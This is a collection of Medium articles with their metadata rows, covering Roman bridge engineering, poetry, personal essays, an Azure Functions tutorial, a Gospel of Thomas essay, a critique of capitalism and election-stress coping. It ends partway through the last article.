The key to the Ancient Roman bridge was the “true” arch, built with stone, and the concrete they so expertly perfected, the Roman concrete or opus caementicium. Yet, alongside these two key components were important technological features and design details.
Origins
Arches were the first evolution away from the post-and-lintel structure that had existed for thousands of years in Neolithic civilizations (i.e.: until 2,000 BC in the Egyptian, Hellenistic, or Indian civilizations). It was initially a ‘corbel arch’ or ‘corbelled arch’, built as the higher the structure rose the more it offset towards the centerline. It is called a “false arch” because it is not self-supporting per sé.
The arch as we see it everywhere today, the “true arch”, appeared around 2,000 BC in Mesopotamia and it was built in bricks. An arch is a compression form, no tensile stresses happen (called “arch action”), transferring the forces all the way to the ground through the ‘springers’, the linear supports that begin when the curved part ends (e.g.: columns).
Completed in 3 BC, the bridge is in the pleasant countryside of southeastern France near Bonnieux, at the western edge of the Luberon Regional Natural Park. Its semicircular spans were built in stone blocks. . Photo by Hawobo, CC BY-SA 2.0 DE, via Wikimedia Commons.
Although the arch is self-supporting, there is a risk of collapse due to the lateral ‘thrust’. To avoid this, the structure is secured with ‘tie-rods’ or external supports such as abutments. Arches within a wall — or consecutive arches in a bridge — do not have that issue as there is another structure at its sides.
The arch requires a very simple construction method allowing for strength, flexibility, and aesthetics.
The Ancient Romans recognized the potential of this element and capitalized on its strengths. They implemented it by building tapered units called voussoirs with it, they then refined it and applied it systematically and to a wide range of structures such as aqueducts, bridges, and building entrances.
The arch bridge was not a new element and the Ancient Romans probably saw and assimilated it from the Etruscans, Greeks, and Mycenaeans. The Romans once again studied the design and the structure, assimilated it, greatly enhanced it, and adapted it to different conditions and needs.
Design and technological innovations
The bridge’s building unit was the self-supporting arch, therefore a bridge could be composed of one span or have many continuous spans in a row, without compromising its structural integrity. The arches could have different shapes depending on the structural needs, aesthetic goals, and terrain or the configuration of the body of water.
The basic arch was the semicircular one, but this meant increased height, therefore the segmental arch (i.e.: less than a semicircle) was preferred. This meant that they could cover wider spans as well as use less material. The increased load-bearing capability was also possible due to the use of the aforementioned voussoirs.
The ‘Ponte Pietra’ in Verona, Italy was completed in 100BC. It links the Roman ruins on the North side of the Adige river to what is now the historic center. The bridge views are completely different from another, with the Roman ruins, the Medieval neighborhoods, the river, the hills all combining differently. Photo by alex1965 via Pixabay.
Ancient Roman engineers included flood openings in the piers early on. This feature consists of an opening (or more than one) between one arch and the other, either within the width of the pier or as a ‘spandrel’ (the space between the top of the arch and an actual or imaginary rectangular frame). This means less material and less construction time, hence lower cost, but also a safer structure as the pressure of the water is reduced.
These Roman engineers were the first, and until the Industrial Revolution the only, to consistently design and build the bridges with concrete, called opus caementicium. This was extensively used in construction in 150 BC already. It was durable (basically having the consistency of hard rock) and resistant to both erosion and cracking. It was also inexpensive, adaptable, easy to integrate with stones and bricks, and easy to decorate with cladding. Last but not the least, some types could set underwater which, of course, was essential in bridge building.
Aesthetics were also important and most bridges were cladded. The cladding was in brick or dressed (i.e.: squared) stonework either in ashlar or rustication work. The first has a refined and usually textured yet a flat face and smoother finish. The second is any work that keeps the blocks’ exposed face to varying levels of controlled roughness and protrusion, such as in ‘bossage’.
The construction of a bridge was a communal regional effort. Usually, more than one municipality was involved in the funding of the works. The names of the commissioning entities and the builders were recorded in documents and on the bridge itself, in an inscription and onto the stonework for the latter.
Although the literal and figurative building blocks of the bridge were only a few (stone and concrete taking the shape of an arch) technical detailing was also a reason for the quality, and therefore longevity, of an Ancient Roman bridge. The span of the bridge sloped gently to allow for water drainage, stone blocks, the critical ones or all of them, would have been linked together with lead clamps, bracing might have occurred, and stonework was linked with specific joints (e.g.: dovetail) at important junctures. If rocks with underwater concrete couldn’t be used to build the foundations of the piers and the piers themselves, the builders used ‘cofferdams’, timber boxes sealed with clay which were driven into the riverbed and filled with concrete.
The experience of walking over Ponte Sant’Angelo leading straight to Castel Sant’Angelo is even better when you are the only one on it. Via Pxfuel.
Today
The Ancient Romans built 931 bridges that we know of, 800 of which in Europe and 431 of those in Italy. Many are still standing today, and many are still in use.
There are many interesting Roman bridges still in use. Most might not seem much, at first glance, but just knowing that a bridge is 2,000 years old instantly gives it an aura of respect. The appreciation also comes from a combination of various aspects. Its architectural and engineering design. The surrounding natural landscape, as for the Ponte di Augusto in Narni, Italy. Alternatively, its urban setting can alter our perception of it, as for Ponte Pietra (‘Stone bridge’), built in 100 BC over the Adige river in the historic center of Verona, Italy. There’s also the experience of walking over its ancient surfaces, as in the famed Ponte Sant’Angelo in Rome, completed in 134 AD by emperor Hadrian and which leads straight to the famed Castel Sant’Angelo.
The majestic view of Ponte Sant’Angelo leading to Castel Sant’Angelo, one of the most famous shots of Rome. CC0 Public Domain via Pxhere
The following are some other notable mentions of fine Ancient Roman bridges.
The Ponte Fabricio (‘Fabricio’s bridge’)in Rome was completed in 62 BC. It is one of the world’s oldest major bridges still standing. It stands today basically as originally built and it only received ornamental modifications, the first ones of which only in the mid-1400s AD. It has been in continuous use and it is also the oldest bridge in Rome.
The Puente Romano (‘Roman bridge’) over the Guadiana River at Mérida in southwest Spain is the world’s longest surviving bridge from ancient times. Sixty spans of the original sixty-two, for a total of 721m instead of the original 755m, remain. Completed in 117 AD during the reign of Trajan, its semi-circular and short arches are cladded in white stone. It is very elegant. The bridge is still in use and it was recently made available for pedestrians only.
The Merchants Bridge in Narbonne, France. Didier Descouens, CC BY-SA 4.0, via Wikimedia Commons.
The Pont des Marchands (‘Merchants bridge’) was built in the 1st-century AD in Narbonne, southern France. It was originally composed of six spans each with a segmental arch, but only one is visible today, as the others are incorporated in the adjacent construction. It is nevertheless well preserved. In Medieval times buildings up to four stories were built over it, making it one of the few bridges in the world to have shops lined on it. | https://medium.com/history-of-yesterday/the-ancient-roman-bridge-a-timeless-engineering-feat-ad4cbfc65279 | ['Richard Bruschi'] | 2020-12-02 18:02:17.399000+00:00 | ['Architecture', 'Roman History', 'Culture', 'History', 'Ancient History'] |
Melting | Melting
With the hiss of a scoop of tangerine sherbet melting
on a hot summer sidewalk, the sun dissolved into
the sea, stirring up a breezy breath of dusk, a last exhale
before she succumbed to night.
And you and I stood, waves lapping at our knees,
watching the last rites of the day.
Buttered caramel splashed across the sky, then pooled
with the tangerine into a point of color, a single point
composed of many flavors, a singularity of brightness
whose true color, or nature, could probably never
really be named.
You looked at me. And, together, we breathed.
This moment would never come again.
And it had never been before.
The arms of darkness reached over our heads.
Her cloak spread in fluttering waves,
ushering in the heavens, which began to light
with tiny diamond fires.
A warm wave caressed our thighs. You sighed.
And the moment was done. That pivotal moment
between dark and light, between hot breath
and the death of the day, between the soft echo
of waking hours, and the slight vacuum of night.
And below the whisper of the melting tangerine,
and the ripple of caramel, and the kiss of dark
licorice, it seemed that you
and I could taste the
essence of the divine. | https://psiloveyou.xyz/melting-a863c6b29ac | ['Erika Burkhalter'] | 2020-12-20 17:38:38.694000+00:00 | ['Poetry', 'Photography', 'Poetry Sunday', 'Travel', 'Love'] |
Custom domains are back! | Your domain name is an important part of your brand and clarifies the relationship forged between writer and reader. A couple years ago, we pushed pause on allowing writers to set up new custom domains on Medium. We did this because every feature on Medium should be frictionless and scalable, and the set-up of custom domains did not adequately satisfy either. During that time thousands of writers reached out, asking to bring this feature back. Last year, Ev detailed our plans to bring back custom domains:
Among other reasons, we needed to fix some cross-domain bugs and revamp our system for registering SSL certificates. We have now prioritized that work so that we can scalably offer custom domains again.
Today, we’re excited to announce that we’ve worked through the aforementioned issues, and writers can once again link their blog to a domain name they independently own. We used to charge $75 per custom domain, but we’re now making this feature free for Medium members. Once you’re a member, you can add or remove custom domains at no additional cost.
Set up your custom domain from profile or publication settings.
To set up a custom domain for your Medium profile or publication, simply navigate to the ‘Custom domain’ section in your profile or publication settings and click ‘Get Started’.
We hope custom domains help make your space on Medium feel like your own. Drop a link in the responses to your blog or publication using a custom domain ー we’d love to check them out! | https://blog.medium.com/custom-domains-are-back-2dee29560d59 | ["Russ D'Sa"] | 2021-02-16 18:05:18.040000+00:00 | ['Custom Domain', 'Creators', 'Writers On Medium', 'Launching', 'Features'] |
Magical Waters | Magical Waters
An Unexpected Love Journey of the Mind
Photo by Jordan Heath on Unsplash
Submerged, my body warm and gently swaying with the rise and fall of the water, a cleansing ritual have left my mind, emotions and heart open. I am raw. A January illness and depression have diminished my frame and my bones strain against the porcelain. Folding washcloths, I pad my derriere in fear my hard-fired clay bones will crack under the pressure. Floating, I drift in and out of my emotions and murky thoughts. I flick the tub stopper with my toe. Like a switch, memories of my nephew Eddie burst through me and he is four again.
Stationed off the coast of Dubai, my sister Liz was serving on a medical ship during the Gulf War. Three years older than me, our lives were similar and yet very different. We grew up in a small upstate New York country town and spent our time strategizing how to not get stuck there. A military career provided this and the opportunities for training, travel, and financial stability, making it a top option. Prior, the persuasion of traditional marriage and family led to my sister’s pregnancy, divorce, and single motherhood soon after.
I guided her throughout her pregnancy and delivery of a lanky, black-haired, and walnut-skinned boy. When the war began Eddie became mine and I, his sub-mother, a single mother as she had been. Born deaf, Eddie and I learned sign language together and composed our own private communication. Physically unbalanced from his hearing disability, gravity battled him to walk and when achieved, it was affectionately labeled the “duck walk.” Feet pointing outward in a v-shape, he clomped heel to toe to propel himself forward. On sunny days we walked to strengthen his legs and collected objects from the ground, mostly garbage and cigarette butts filled his pockets.
Our days concluded with his long bath that would last close to an hour. The ritual was to let the water drain until every drop had found its way to the duct from beneath his slight form. I watched him, eyes closed, plumed black eyelashes glistening, the water lowering and his body softly descending until it laid flat upon the tub floor. Smiling, he opened his eyes, and emitting from his face was pure rapture as I wrapped him in a towel. Floating liberating him from the unseen force.
Gurgling, I rouse to the decreasing water exposing my skin and the sensation of the cool air pricking its surface, carving out the space around and within me. Sinking, my protruding bones — shoulder blades, backbone, and tailbone — press hard against the bottom. Lower and lower, releasing my head and the sound in my ears. Like a finger, the water traces the edges of my skin, a sensation of being cross-sectioned, sliced, filleted. My weightlessness dissolved, Eddie’s smile and the memory of his rite fill me. Opening my eyes, my body fully exposed, the last of the water pooling in the deep channels of my groin. I stand, wrap myself in a towel, tears marking my cheeks, now understanding the floating, the need to be released. | https://medium.com/inspired-writer/magical-waters-a783ce2f6faa | ['Lee Labier'] | 2020-12-01 20:24:22.202000+00:00 | ['Life Lessons', 'Meditation', 'Nonfiction', 'Self', 'Family'] |
Building An Angular App With Azure Static Web Apps Service | Azure Functions Development
Make sure you install VSCode extensions as I mentioned in the prerequisites section. Let me go through the whole creation process for one function here. Once you install those extensions.
First, you need to create a project with the Azure Functions extension in the VSCode and click on the folder icon on the top to create an Azure Functions project.
Browse the folder
You can select the api folder where all the Azure Functions code goes
Select a language
You need to select the language that you need to write functions with. In our case, select the Javascript.
Select a template for your project’s first function
Select a template HTTP trigger since we are writing an API for our angular code.
The whole process creates an Azure functions project with the following structure. It contains a package.json where you can run the project with this command npm start
Azure Functions Project Structure
This is a package.json file where the start command is defined in the scripts section.
package.json
We have four functions defined for the four API routes. Let's have a look at the todos-get function. We have two files for each function: index.js and function.json.
index.js
Every function has an index.js file as the starting point and receives HTTP requests and context objects and sends an HTTP response back. You can access the HTTP request and response through the context object. You can import other files into this for the processing, database access layer, etc.
index.js
function.json
Every function has a function.json file which defines the route, type of HTTP method, directions of the request, and response objects. For example, This is the get request and the direction is in with the req object. The object is res for the direction out.
function.json
You have the route called todos in the JSON file that means when you start the Azure Functions with this command func start you can access on http://localhost:7071/api/todos
Access the API in the browser
Here are the helper files that act as a database and can be used with all the functions.
helper files
Once you have all the functions in place and you can just start and test all the functions. You can see all the functions ready when you run the command npm start | https://medium.com/bb-tutorials-and-thoughts/building-an-angular-app-with-azure-static-web-apps-service-8fe84ebe4709 | ['Bhargav Bachina'] | 2020-11-21 15:47:35.230000+00:00 | ['Angular', 'JavaScript', 'Programming', 'Cloud Computing', 'Web Development'] |
Jesus According to the Gospel of Thomas | Since 1945, Jesus has not been the same. That year the Nag Hammadi library was found in an Egyptian cave. The scrolls contained dozens of early Christian texts that have been globally known as the “Gnostic Gospels.” Even though scholars knew of the existence of Gnostic Christianity through the polemist treaties of early Orthodox Christian authors, the Gnostic works were assumed to be lost when the nascent Orthodox-Catholic church declared them to be heretical.
The notion of heresy needs to be used with caution here. The Nag Hammadi library is heretical from the point of view of the version of Christianity that won the early Christian controversies and that, later on, found Emperor Constantine’s favor. If we place ourselves in the second and third centuries, the time in which Christian Gnosticism and many other Christian sects existed, there was no Christian dogma or canon. No Christian faction was “right or “wrong.” Competing sects had equal rights and popularity within the early Church. The notion of truth was something coined by the camp that scholars call Orthodox Christianity — the original church from which Orthodox, Catholic and Reformed Christians come from. These Orthodox Christians began a wide campaign against what they considered wrong, heretic doctrines that needed to be persecuted and extirpated. This is how Christian Gnosticism was obliterated and disappeared from history.
One of the gospels found in 1945 at Nag Hammadi has had an epochal impact and transformed the figure of Jesus: the Gospel of Thomas.
The Gospel of Thomas presents the Jesus of Wisdom, not the Jesus of Faith. Thus, Jesus becomes the enlightened teacher, who imparts wisdom.
The Gospel of Thomas is a collection of 114 sayings of Jesus. In these sayings, there is no mention of the miracles, the crucifixion, the resurrection, and the ascension of Jesus — and naturally the dogma of the Trinity is absent. The Gospel of Thomas presents the Jesus of Wisdom, not the Jesus of Faith. Thus, Jesus becomes the enlightened teacher who imparts wisdom. These sayings are elaborated according to the Greek tradition but also the Jewish tradition of the logoi sophon — the “sayings of the sages.” The Talmudic Pirkei Avos would fall within the Jewish side of this tradition.
Even though the Gospel of Thomas is generally considered within the Gnostic tradition, to be precise and accurate we should state that this gospel has Gnostic leanings and perspective. According to the incipit — the heading — of this gospel, the sayings were collected by Judas Thomas, the alleged twin brother of Jesus. The nature of the collector gives important relevance to the sayings. Thomas is a critical figure in early Christianity, notably in the Chaldean — Syriac — church, still today.
More importantly, the Gospel of Thomas has a very interesting composition date and place. According to most scholars, the gospel was composed first in Greek in Syria — in the land where Thomas had a crucial founding relevance for the local church. Scholars also tend to agree that the Gospel of Thomas began circulating in the first century. Even though that the Nag Hammadi copy of the gospel is written in a Coptic translation and dated in the fourth century, the analysis of the fragments from the Oxyrhynchus papyri shows that the Greek version comes from the very first century AD. This dating makes the Gospel of Thomas older than the canonical gospels that you can find in any New Testament of the Bible today. The analysis and dating of the papyri are also supported by textual evidences of these fragments.
One of the oldest depictions of Jesus, from St. Catherine’s Monastery at Sinai. Source: Anonymous.
The Jesus of Wisdom, the Jesus according to the Gospel of Thomas is concerned about a totally different salvation. There is no atonement and no notion of sin. Rather, Jesus seeks the enlightenment of his followers, in a master-disciple relationship. This is already very clear in the saying 2:
“Jesus said, ‘Let one who seeks not stop seeking until he finds. When he finds, he will be troubled. When he is troubled, he will be astonished, and will rule over all.’”
The seeker comes to Jesus looking for knowledge, and when he finds it he is troubled by the wisdom he receives — a revelatory wisdom that in other Gnostic texts is called the epinoia, the “luminous insight.” Yet, this revelatory and troubling wisdom brings control over all, that is, personal enlightenment and dominion over oneself. This is what this fragment of the saying 3 states:
“The kingdom is inside you and outside you. When you know yourselves, then you will be known.”
Spiritual knowledge, the luminous insight, that is, the Kingdom is inside oneself — the Kingdom is within you. It is inside and outside, it is here now. This is the radical understanding that Thomas presents and that has been amply discussed by Episcopal priest Cynthia Bourgeault. She rejects the Kingdom as both heavenly reward and earthly paradise. Instead, she adheres to the consideration that the Kingdom is unitive consciousness — a mystical union that brings wisdom and the enlightening experience of transcendence. This is clearly stated in the second part of the verse from the saying 3: “when you know yourselves, then you will be known.” The central key of Jesus’ message here is the acquisition of wisdom, a transformative knowledge revealed, perhaps in unitive consciousness as Bourgeault proposes.
This is further clarified by Thomas in saying 5:
“Jesus said, ‘Recognize what is before your eyes, and the mysteries will be revealed to you. For there is nothing hidden that will not be revealed.’”
Or in saying 108:
“Jesus said, ‘Whoever drinks from my mouth will become like me; I myself shall become that person, and the mysteries will be revealed to him.’”
Personal revelation, not personal salvation in the traditional sense, is what matters to the Jesus of Wisdom. The wording of these sayings is reminiscent of the mystery cults so popular in the contemporary times of both Jesus and Thomas. The Hellenistic and Græco-Roman mysteries provided revelation, a higher truth and wisdom ritually taught to the initiate, a new knowledge for a better life, for enlightenment, for liberation from attachment and mortal pain. It was a shortcut, a way to the Gods, to the divine — the unitive consciousness mentioned by Bourgeault.
Only in this light the saying 1 can be understood:
“And he said, ‘Whoever finds the interpretation of these sayings will not taste death.’”
The “will not taste death” here is not referring to physical salvation of the soul, but a higher secret wisdom imparted through the epinoia. The sayings are not salvation but initiation to the mysteries of life and spiritual wisdom. The words of these sayings are very similar to the ones that the Roman orator Cicero dedicated to the Eleusinian mysteries in Athens in his work De Legibus:
“We have learned from them [the mysteries] the fundamentals of life, and have grasped the basis not only for living with joy but also for dying with a better hope.”
The sayings are the basis for a personal, interpretive revelation to the disciple. Jesus sows the beginning of wisdom that the disciple needs in order to fully find it in the epinoia. Little is known about the rituals and practices of the Gnostic followers of the Gospel of Thomas. However, it has been speculated that rituals would have been similar to the ones of the other mystery cults of the Roman Empire, where initiates would have received the fundamentals for living with joy and a better hope in intricate ceremonies. This was the goal of the mystery cults in the Late Antiquity.
The personal epinoia, the luminous insight, has a central role in the Gospel of Thomas. In saying 24 it says:
“There is light within a person of light, and it lights up the whole world. If It does not shine, it is dark.”
Photo by Jon Tyson on Unsplash
The importance of light and the epinoia are traits that are not exclusively of Jesus, but they can be accessed by any disciple. Jesus is not the Light, but the enlightened master who helps the disciples not to go to the Light — that is, Jesus himself — but to find their own inner Light, like the master Jesus had done before them. Thomas reiterates this idea on saying 49, adding the notion of the Kingdom inside and outside oneself:
“Jesus said, ‘Blessed are those who are solitary and chosen, for you will find the Kingdom. For you have come from it, and you will return there again.’”
Again, the Jesus of Wisdom becomes an intimate master that teaches the spiritual pathway of detachment and revelation in solitude — that is, separation from the worldly matters and worries. The Kingdom is a mystical journey of inner life knowledge. This detachment from worldly matters is explicitly mentioned in saying 54, echoed as well in the Sermon of the Mount of the canonical Gospel of Matthew:
“Jesus said, ‘Blessed are the poor, for yours is the Kingdom of Heaven.’”
Asceticism is clearly advocated by Thomas. This adds up to the many ascetic sayings in the Gospel of Thomas that are parables also found in the canonical Gospels. It shows that the interpretation of the parables is a matter of perspective: it can dramatically change the meaning in the Jesus of Wisdom, opposed to the Jesus of Faith.
The Jesus of Wisdom becomes an intimate master that teaches the spiritual pathway of detachment and revelation.
The Jesus of Wisdom found in the Gospel of Thomas shows the spiritual possibilities of a Christianity that was and could have been. It shows a Buddha-like Jesus, a spiritual teacher closer to many contemporary Hellenistic wandering philosophers like the Pythagorean Apollonius of Tyana. The full rediscovery of the Jesus of Wisdom in 1945 allows us to transform and rethink Christianity in a way full of spiritual possibilities. Throughout the centuries, reformers, mystics and philosophers who wanted a different Christianity tended to prefer the Jesus of Wisdom against the Jesus of Faith. In our current world in which Christianity dies and languishes enslaved to the dogmatic nature of the Jesus of Faith, the Jesus of Wisdom, the enlightened teacher, represents an opportunity for redeeming Christianity through an entirely new but old pathway — even older than the canonical gospels. | https://medium.com/interfaith-now/gnostic-gospel-thomas-jesus-wisdom-faith-christian-ancient-christianity-gnosticism-mystical-enlightenment-8aef6ce2f572 | ['The Modern Platonist'] | 2020-06-09 18:49:32.821000+00:00 | ['Religion', 'History', 'Gnostic', 'Christianity', 'Spirituality'] |
Angry Birds game (AR version) | Angry Birds mobile game’s AR version is a real delight. Here are my personal thoughts on it’s 1st impression.
I was looking for some other app related to AR on Google Play within the search list this game app was suggested… I was pleasantly surprised that I wasn’t aware of this game earlier. I immediately downloaded it.
According to app description details: it was launched on October 2019 so it has already completed a year successfully. Recently, it was updated on August 2020 and the current version 1.1.3 is very stable. It has ☆ 4.1 user ratings with 100000+ downloads.
* It loaded fast also tracking the surface was smooth game level assets got arranged in no time and matches perfectly with real world lighting.
Here is an actual clip from my phone:
https://youtu.be/_3YRj5092Gg
* UI and game Controls are responsive.
* On boarding hints and animations are clear and communicate well. They have built up previously set in game mental model so people who have earlier played any version of Angry Birds will not have any problem to adopt to this AR version.
* Level design and assets are AR optimised.
* collusion and aiming is accurate
* sound design is cheerful and creates the playful mood.
* frequent video ads due to freemium model disturb the flow… while the ads are playing you are back to 2D mobile screen view.
All in all this is really cool AR gaming experience. | https://medium.com/@ppsagar786/angry-birds-game-ar-version-d3ca3e050d8a | ['Pushpendra Prakash Sagar'] | 2021-01-08 22:20:40.792000+00:00 | ['Impressions', 'Mobile Games', 'AR', 'Review', 'Angry Birds'] |
A Guide to Spirituality and the Pain of Longing | A Guide to Spirituality and the Pain of Longing
Creating a playbook for a life of love, kindness, compassion, empathy, and wisdom
Photo by Ashley Batz on Unsplash
There’s a key element in the lives of all serious spiritual seekers that I call the pain of longing. It is a gnawing feeling that says, there’s more to life than I’m experiencing or that I’ve been told to expect. There is more, and yet I do not know what it is.
Most people go through their younger lives thinking about essential questions concerning the nature of the universe, their reason for being, etc.. These are often college conversations, conducted in a dorm room at 2:00 am after a couple of joints and listening to Pink Floyd’s Dark Side of the Moon.
After college, most of us get a job, create a family, watch football games, play video games, and just go through life without thinking about very much other than knee-jerk survival. However, there are some people who are stricken with the pain of longing syndrome. Eventually, they reach a state of depression, hopelessness, and confusion for their life lacks meaning. I was one of these people. For us, the pain of longing never diminishes it just gets worse, and the only way to relieve the pain is to do contemplation meditation and ruthless introspection. This can be a lifelong process. In time, some people find Jesus or Buddhism. Others numb the pain of longing with drugs or alcohol, and to avoid self-destruction become a Friend of Bill W. and attend 12-step meetings. Others, including this author, spend their whole lives walking on the Path, grabbing sound bites of wisdom here and there to sustain our souls, emotions, and mind.
During my personal journey, I had written a book called Spiritual not Religious: Sacred Tools for Modern Times. I brought the manuscript to various spiritual teachers for their opinions. The responses were quite interesting. This is the story of what happened. | https://medium.com/change-your-mind/a-guide-to-spirituality-and-the-pain-of-longing-335d17465306 | [] | 2020-12-28 14:10:45.401000+00:00 | ['Personal Development', 'Life', 'Mental Health', 'Spiritual Growth', 'Self Improvement'] |
Call for a dull time | Fucking 2020.
Brought death, destruction, and caused an endless commotion in my head.
As I stared at the same four walls each day, it made a prison out of the one place that was my escape.
Ravaging every pleasure I ever knew, it then spat in my face.
The real disappointment comes as the year ends, realizing that I was wrong when I thought all I wanted was loneliness.
For I hadn’t felt what it truly meant. Until…
Fucking 2020. | https://medium.com/@verbal-loitering/call-for-a-dull-time-97edd01d9d56 | ['Verbal Loitering'] | 2020-12-21 17:18:48.662000+00:00 | ['Humour', 'Poetry', 'Design'] |
Lessons From Coconut Island | Lessons From Coconut Island
It says nothing on the backside /pxfuel
Part 3 in the series: Coconuts and Capitalism
Also in this series:
In part 1 of this series, I touched on the opinion often pushed by advocates of capitalism that the poor are merely trying to take advantage of or ‘steal’ from the wealthy. This sentiment is used as the rationale for various arguments against any sort of public spending, taxation, welfare etc. It’s used to portray any sort of financial or social obligation not voluntarily or willingly fulfilled by an individual as theft. By framing the issue as ‘theft’, the disseminators of this rhetoric are attempting to reinforce the notion that an individual-particularly one that owns private property-is entitled to this claim of ownership, and that this claim allows them to appropriate all of the resources on said property and most importantly, to appropriate the value of workers’ labor.
The very basis of capitalism is predicated on privately-held property — the seizing and holding of which is inherently violent.
We live in a society where since birth, this concept is preached to us as ‘the way things are’, and even ‘natural’. But as part 2 demonstrated, the origin of private property on the island had a very forced beginning. Furthermore, the use of violence and force is integral to maintaining this social order of privately-held property-or ‘law and order’ as it is otherwise called. This is one area in particular where I struggle to make sense of the libertarian argument.
Libertarians and other laissez-faire capitalists take great issue with an entity like ‘the state’ using force or threats of force in order to do things like collect taxes. Yet, the very basis of capitalism is predicated on privately-held property-the seizing and holding of which is inherently violent. At some point in history, all private property was either seized violently, coercively, or unjustly, and then held using the same methods. As part 2 of this series shows, it is not always lazy people trying to steal from the rich. An alternative perspective (and a more correct one in my opinion given the events we’re experiencing right now in our society), is that it is actually the upper strata that have become parasites on the majority, by unjustly accruing wealth on the backs of the labor they appropriate. The justification for this appropriation of labor is the notion of private property, and this is upheld by coercion, force, and even blatant violence. I fail to see how ‘libertarian capitalism’ is morally superior than any other system that is predicated on the use of violence, threats of violence and force.
It is also ironic to me that the one thing libertarian-types vehemently oppose-’the state’-in fact under our current system exists primarily to preserve and administer (and defend) property ‘rights’ and has historically served the interests of the ‘landed’ ruling class, despite the lore of it being ‘of the people, by the people, for the people’. James Madison himself wasn’t a huge of fan of actually giving real equal power to the ‘masses’, out of fear of the ‘tyranny of the majority’. This fear wasn’t unfounded either among the wealthier property owners. Events like Shay’s Rebellion in post-revolutionary America demonstrate the ongoing class struggles at the time. Ultimately, the US Constitution was drafted (behind close doors) in such a way that the interests of the minority ‘wealth’ would have greater weight. This still holds true today in the United States. For example, most power is truly held in the senate, which is the least representative body of government as Noam Chomsky points out.[1]
The merchants and wealthy design policies so that their own interests are protected, no matter how egregious the effect is on others.
The US government exists primarily to defend and serve the interests of private-property central to the ideology of capitalism. As Noam Chomsky points out, even Adam Smith — the father of American Capitalism — warned that, “the merchants and wealthy design policies so that their own interests are protected, no matter how egregious the effect is on others”. This certainly has come to pass. Capitalism today has resulted in its inevitable end goal: to redistribute wealth and concentrate it, along with power, among a shrinking ruling class at the expense of everyone else below. This isn’t ‘socialism’-regardless of what welfare programs the capitalist state may or may not implement. This isn’t ‘crony’ capitalism or ‘capitalism run amok’. This is capitalism fulfilling its manifest destiny and doing exactly what it is inherently optimized to do. This is what happens when you opt for an actual tyranny of the minority in an attempt to defend against a supposed ‘tyranny of the masses’.
The Federal Reserve (central banking), the monopolies, the cronyism… These aren’t things that adulterate ‘pure’ capitalism. This is ‘pure’ capitalism devolved in its late stages. Just like the board game Monopoly, only one player ultimately wins. The people pushing the ‘trickle-down’ propaganda know this, but they don’t want the masses to. They want the masses to think the best way to prosperity is to continue working for them, to increase the wealth of the private capital owners, and only then will some of it land in the laps of the workers. Like any good ‘pump and dump’ scheme, they aim to inflate the value of their interests and their holdings in private property by impressing as many people as possible into participating in the scheme, confident that they will be the ones that come out on top, at everyone else’s expense.
The main goal of this series is to highlight that all of this trickery-this swindling of the mass’ collective labor and the enormous wealth it produces-is made possible due to the perpetuation of the belief in and violent enforcement of private property[2] . Furthermore, I don’t think it’s that crazy to suggest that this is an idea worth shelving as a socioeconomic system past its prime. It’s time for ‘private property’ and the capitalist mode of production to take its rightful place alongside the other expired, defective and discontinued merchandise of history-serfdom, feudalism, slavery, autocracy etc.
Questioning and rejecting private property isn’t a new or ‘radical’ idea either. In 1840, French anarchist Pierre-Joseph Proudhorn penned the slogan, “La propriété, c’est le vol!” (Property is Theft!) in his book What is Property? Or, an Inquiry into the Principle of Right and of Government. In response, Max Stirner-a German philosopher-pointed out:
“Is the concept ‘theft’ at all possible unless one allows validity to the concept ‘property’? How can one steal if property is not already extant? … Accordingly property is not theft, but a theft becomes possible only through property.” [3]
According to Stirner, even the idea of property being ‘theft’ is contingent on accepting property as a valid concept in the first place.
Political performance art by Fay Lewis in Rockford (Illinois), 1914 / The New York Public Library
American political economist and journalist Henry George, whose writings and ideas were the basis of Georgism, advocated that economic value derived from land (including natural resources) should belong equally to all members of society, and that this could be achieved in practice through a land value tax. While Georgists held that this land value should be held collectively, they emphasized that people should own the value of the labor they produce themselves, and favored this land tax over income tax. This movement and its ideas and ‘rethinking’ of privately-held land gained considerable traction in the early 1900's.
Woody Guthrie’s song This Land Is Your Land is another example of how the questioning of the concept of private property hasn’t always been as ‘foreign’ to the American psyche as modern capitalism-pushing pundits might suggest. Guthrie’s original words to the song included this verse:
There was a big high wall there that tried to stop me.
The sign was painted, said ‘Private Property.’
But on the backside, it didn’t say nothing.
This land was made for you and me.
One thing I hear over and over from capitalists is that capitalism and private property are natural ‘laws’ of nature.[4] But, they most certainly are not. ‘Private Property’ is merely a man-made social contract, and a highly questionable one at that. Land is real. The resources on and under it are real. The labor needed to process them into usable forms to meet human needs is real. The requirement for this to all be divvied up and ‘privately’ owned however, is completely made up by people seeking to benefit from this arrangement, even to the detriment of others. I have yet to encounter an argument or experiment that convinces me that proclamations of ownership over natural resources are real, like actual laws of nature such as gravity-easily proven by the fact that a property ‘owner’ does not float off into space while standing on the land they believe they own. This land was there before anyone was born and it will remain after we all pass. The timeless perpetuity of this ground upon the Earth mocks the absurdity of mere mortals attempting to claim it as their own. | https://medium.com/@pontifico/lessons-from-coconut-island-b5f6371034f7 | ['Ryli Dunlap'] | 2020-12-01 05:47:54.545000+00:00 | ['Politics', 'Private Property', 'Capitalism', 'Socialism'] |
Plan for Your Real Life After the Election, Whatever Happens | Plan for Your Real Life After the Election, Whatever Happens
Thinking ahead about your grocery list and laundry schedule can help you cope with chaos
Photo: Maskot/Getty Images
For the week of the election, I’m strategically planning my shower schedule. I’m usually an every-other-day bather, but next week, my only priority is to take a shower on the morning of November 3. Because if things don’t go as I want them to, I don’t see myself mustering up the energy I need to do it the next day, let alone venture off my couch. Starting with clean hair on Election Day gives me a few days of buffer.
A lot is at stake during any presidential election — but for many of us, this one in particular feels like it comes with life-or-death consequences. Kate Truitt, a California-based psychologist, says the ongoing stress of the last four years (not to mention a global pandemic) has made people more sensitive than usual to new, potentially threatening information. “Election Day is the pivotal moment where you’ll either be able to breathe again or feel like you need to go into hiding,” she says.
If the worst does happen, it can help to devise a coping plan in advance — not just for the next four years but also for dealing with the immediate emotional hangover. Right now, today, is the time to account for all the small, boring things that keep your life running: your showers, your grocery lists, bill deadlines, things that need to be mailed and appointments to be made.
Because the bad news doesn’t just steal your hope; it actually drains your resources. When your brain’s stress response is activated, the prefrontal cortex — the part of your brain that helps you to think logically and override big emotions — goes “offline.” And depression doesn’t just make you teary; it can also zap your motivation and cause mental and physical fatigue.
